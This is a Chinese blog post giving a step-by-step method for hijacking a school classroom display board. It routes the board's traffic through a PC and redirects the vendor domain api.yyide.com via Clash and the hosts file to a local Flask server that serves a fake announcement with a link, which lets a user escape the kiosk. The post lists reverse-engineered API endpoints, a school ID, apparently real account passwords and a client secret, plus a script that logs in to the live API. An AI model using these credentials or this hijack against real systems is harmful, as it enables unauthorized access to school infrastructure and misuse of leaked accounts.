班牌破解新思路

巧克力 分享

新班牌破解思路 - URL劫持

代码下载:APIsCode.zip

班牌使用Java 6 编写,在Android 7.1.2 上运行!

班牌公告Text渲染是靠安卓自带的WebViewer通过JavaScripts实现,通过样式我猜测可能是BBCode Markdown。

可以将班牌的网线插入教室内部电脑的Wlan Output口,将路由器网线插入电脑Wlan Input口;通过电脑路由班牌网络数据。

需要通过Clash软件的TUN模式创建虚拟网卡,然后在Clash内部设置规则,拦截 api.yyide.com。如下

rules:
  - DOMAIN,api.yyide.com,DIRECT
  
  - MATCH,DIRECT

之后编辑 电脑hosts文件将 api.yyide.com 重定向到 127.0.0.1。如下:

# C:\Windows\System32\drivers\etc\hosts
127.0.0.1 api.yyide.com

最后,伪造接口发送一个含链接的假公告,就可以访问网站了。可以通过网站拉取相机之类的应用实现退出班牌。

逆向出的核心接口如下:

任何有效操作均需要通过OAuth登录保存Session后执行。

基URL:https://api.yyide.com

兼善schoolId: 1959804909729640450

1. OAuth登录获取令牌

  • 接口地址: POST /auth/oauth/token
  • 用途: 通过OAuth协议进行登录,获取访问令牌(Access Token)。
  • Content-Type: application/json

请求参数

参数名必填示例值说明
username是bp11813、bp11818登录账号
password是611288、224614登录密码
client_id是yide-cloud客户端ID
client_secret是yide1234567应用凭证/密钥
grant_type是brand授权类型,固定填写 brand
random是aB3kL9mZ...16位随机字符串,用于CDN刷新标识

返回值解析

{
    "code": 0,
    "data": {
        "accessToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
        "expiresIn": 863999,
        "refreshToken": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...",
        "tokenHead": "Bearer "
    },
    "detailMessage": "",
    "message": "操作成功"
}
字段路径类型说明
codeInteger状态码,0 表示请求成功
messageString响应消息描述,如 "操作成功"
detailMessageString详细错误信息,成功时通常为空字符串
data.accessTokenString访问令牌(JWT格式),用于后续API请求的身份鉴权
data.expiresInIntegerAccess Token 有效期,单位:秒(示例值 863999 ≈ 10天)
data.refreshTokenString刷新令牌,用于在 Access Token 过期后换取新的令牌
data.tokenHeadString令牌前缀,固定为 "Bearer ",拼接在 accessToken 前组成 Authorization 头

2. 获取公告消息分页列表

  • 接口地址: POST /brand/brand/mess/recive/page
  • 用途: 分页查询指定学校的公告消息列表。
  • Content-Type: application/json
  • 鉴权方式: Header 携带 Authorization: Bearer {accessToken}
参数名必填类型示例值说明
pageNo是Integer1当前页码
pageSize是Integer20每页条数
type是Stringannouncement消息类型,如 announcement
searchKey否String""搜索关键词,为空则不筛选
startDate否Integer""时间戳开始日期
endDate否Integer""时间戳结束日期

返回值解析

{
    "code": 0,
    "data": {
        "list": [
            {
                "id": "2094265167356387330",
                "identityUserName": "马品",
                "title": "重磅!重庆市青少年创新人才培养雏鹰计划(初中)第七期学员遴选通知",
                "content": "<p>...</p>",
                "timerDate": "2026-08-31 11:25:00",
                "isTop": true
            }
        ],
        "total": 5,
        "pageNo": 1,
        "pageSize": 20
    },
    "message": "操作成功",
    "detailMessage": null,
    "success": true,
    "error": false
}
字段路径类型说明
codeNumber状态码,0 表示请求成功
messageString响应消息描述,如 "操作成功"
detailMessageString/null详细错误信息,成功时通常为 null
successBoolean请求是否成功的布尔标识,true 表示成功
errorBoolean是否存在错误的布尔标识,false 表示无错误
data.listArray文章/通知列表数据,包含多条记录对象
data.list[].idString文章唯一标识ID
data.list[].identityUserNameString发布者/操作人姓名
data.list[].coverImgString封面图片URL,为空字符串表示无封面
data.list[].authorString文章作者,可能为空
data.list[].sourceString文章来源,可能为空
data.list[].titleString文章标题
data.list[].contentString文章正文内容,通常为HTML格式字符串
data.list[].contentTypeInteger内容类型标识,0 通常表示普通图文
data.list[].messTypeInteger消息类型标识,1 通常表示通知公告类
data.list[].timerDateString发布时间,格式为 YYYY-MM-DD HH:mm:ss
data.list[].attachmentsArray附件列表,空数组表示无附件
data.list[].isTopBoolean是否置顶,true 表示该条内容被置顶显示
data.totalInteger符合条件的总记录数
data.pageNoInteger当前页码,从 1 开始
data.pageSizeInteger每页返回的记录条数

全流程代码

import requests
import random
import string
import json


BASE_URL = "https://api.yyide.com"
USERNAME = "bp11813"
PASSWORD = "611288"
CLIENT_ID = "yide-cloud"
CLIENT_SECRET = "yide1234567"
GRANT_TYPE = "brand"

ANNOUNCE_API = "/brand/brand/mess/recive/page"


def oauth_login(base_url: str, username: str, password: str,
                client_id: str, client_secret: str, grant_type: str) -> dict:
    url = f"{base_url.rstrip('/')}/auth/oauth/token"
    random_str = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

    payload = {
        "username": username,
        "password": password,
        "client_id": client_id,
        "client_secret": client_secret,
        "grant_type": grant_type,
        "random": random_str
    }

    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    response = requests.post(url, data=payload, headers=headers, timeout=10)
    response.raise_for_status()
    return response.json()


def create_authenticated_session(token_info: dict) -> requests.Session:
    session_ = requests.Session()

    access_token = (
        token_info.get("access_token")                          # 标准OAuth2
        or token_info.get("data", {}).get("accessToken")         # 当前API实际格式
    )

    if not access_token:
        raise ValueError(f"登录响应中未找到 access_token,响应内容: {token_info}")

    token_head = (
        token_info.get("data", {}).get("tokenHead")
        or "Bearer "
    )

    session_.headers.update({
        "Content-Type": "application/json",
        "Authorization": f"{token_head}{access_token}"
    })
    return session_


def fetch_announcement(session_: requests.Session, base_url: str, page_no: int = 1, page_size: int = 20) -> dict:
    """请求公告列表接口"""
    url = f"{base_url.rstrip('/')}{ANNOUNCE_API}"
    data = {
        "pageNo": page_no,
        "pageSize": page_size,
        "type": "announcement",
        "searchKey": "",
        "startDate": "",
        "endDate": "",
    }
    response = session_.post(url, json=data, timeout=10)
    response.raise_for_status()
    return response.json()


if __name__ == "__main__":
    token_info = oauth_login(
        base_url=BASE_URL,
        username=USERNAME,
        password=PASSWORD,
        client_id=CLIENT_ID,
        client_secret=CLIENT_SECRET,
        grant_type=GRANT_TYPE
    )
    print(f"登录成功: {json.dumps(token_info, indent=4, ensure_ascii=False)}")

    session = create_authenticated_session(token_info)

    announcement_result = fetch_announcement(session, BASE_URL, page_no=1, page_size=20)
    print(f"\n{'=' * 20}\n公告:\n", json.dumps(announcement_result, ensure_ascii=False, indent=4))

劫持Python代码

import random
import string
import time
from functools import wraps
from flask import Flask, request, jsonify

app = Flask(__name__)


MOCK_USERS = {
    "bp11813": {"password": "611288", "name": "马品"},
    "bp11818": {"password": "224614", "name": "张三"}
}

MOCK_ANNOUNCEMENTS = [
    {
        "id": "2094265167356387330",
        "identityUserName": "巧克力",
        "coverImg": "",
        "author": "",
        "source": "",
        "title": "假的公告信息 - 哔哩哔哩",
        "content": "<a href='https://bilibili.com'>点击这个跳转哔哩哔哩</a>",
        "contentType": 0,
        "messType": 1,
        "timerDate": "2026-08-31 11:25:00",
        "attachments": [],
        "isTop": True
    }
]


def success_response(data=None, message="操作成功"):
    return jsonify({
        "code": 0, "data": data, "message": message,
        "detailMessage": None, "success": True, "error": False
    })

def error_response(message="操作失败", detail="", code=-1):
    return jsonify({
        "code": code, "data": None, "message": message,
        "detailMessage": detail, "success": False, "error": True
    }), 400

def require_auth(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        auth_header = request.headers.get("Authorization", "")
        if not auth_header.startswith("Bearer "):
            return error_response("未提供有效的访问令牌", "Authorization header missing or invalid", 401)
        token = auth_header[7:]
        if len(token) < 10:
            return error_response("访问令牌无效", "Invalid access token", 401)
        return f(*args, **kwargs)
    return decorated


@app.route("/auth/oauth/token", methods=["POST"])
def oauth_token():
    content_type = request.content_type or ""
    if "application/x-www-form-urlencoded" not in content_type:
        return error_response(
            "Content-Type 必须为 application/x-www-form-urlencoded",
            f"Received: {content_type}"
        )

    username = request.form.get("username")
    password = request.form.get("password")
    client_id = request.form.get("client_id")
    client_secret = request.form.get("client_secret")
    grant_type = request.form.get("grant_type")
    random_str = request.form.get("random")

    missing = [k for k, v in {
        "username": username, "password": password,
        "client_id": client_id, "client_secret": client_secret,
        "grant_type": grant_type, "random": random_str
    }.items() if not v]
    if missing:
        return error_response(f"缺少必填参数: {', '.join(missing)}")

    if grant_type != "brand":
        return error_response("grant_type 必须为 'brand'")
    if client_id != "yide-cloud" or client_secret != "yide1234567":
        return error_response("client_id 或 client_secret 不正确")
    if len(random_str) != 16:
        return error_response("random 必须为16位随机字符串")

    user = MOCK_USERS.get(username)
    if not user or user["password"] != password:
        return error_response("用户名或密码错误")

    fake_jwt = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9." + \
               ''.join(random.choices(string.ascii_letters + string.digits, k=64)) + \
               ".mock_signature"

    return success_response({
        "accessToken": fake_jwt,
        "expiresIn": 863999,
        "refreshToken": "refresh_" + ''.join(random.choices(string.ascii_letters + string.digits, k=32)),
        "tokenHead": "Bearer "
    })


@app.route("/brand/brand/mess/recive/page", methods=["POST"])
@require_auth
def announcement_page():
    body = request.get_json(silent=True)
    if body is None:
        return error_response("请求体必须为有效JSON")

    page_no = body.get("pageNo", 1)
    page_size = body.get("pageSize", 20)
    msg_type = body.get("type", "")
    search_key = body.get("searchKey", "")
    start_date = body.get("startDate", "")
    end_date = body.get("endDate", "")

    if msg_type != "announcement":
        return error_response("type 必须为 'announcement'")
    if not isinstance(page_no, int) or page_no < 1:
        return error_response("pageNo 必须为正整数")
    if not isinstance(page_size, int) or page_size < 1:
        return error_response("pageSize 必须为正整数")

    filtered = list(MOCK_ANNOUNCEMENTS)

    if search_key:
        filtered = [a for a in filtered if search_key in a["title"] or search_key in a["content"]]

    if start_date and isinstance(start_date, (int, float)):
        start_ts = start_date / 1000
        filtered = [a for a in filtered
                    if time.mktime(time.strptime(a["timerDate"], "%Y-%m-%d %H:%M:%S")) >= start_ts]
    if end_date and isinstance(end_date, (int, float)):
        end_ts = end_date / 1000
        filtered = [a for a in filtered
                    if time.mktime(time.strptime(a["timerDate"], "%Y-%m-%d %H:%M:%S")) <= end_ts]

    filtered.sort(key=lambda x: (not x["isTop"], x["timerDate"]), reverse=False)
    total = len(filtered)
    start_idx = (page_no - 1) * page_size
    page_list = filtered[start_idx:start_idx + page_size]

    return success_response({
        "list": page_list,
        "total": total,
        "pageNo": page_no,
        "pageSize": page_size
    })


if __name__ == "__main__":
    app.run(
        host="127.0.0.1",
        port=5000,
        debug=True,
    )

审稿(Reviewer):巧克力
编辑(Editor):巧克力
重整(Remerge):通义千问
技术合作(Tech-Cooper):S2Arp

添加新评论

6 + 5 =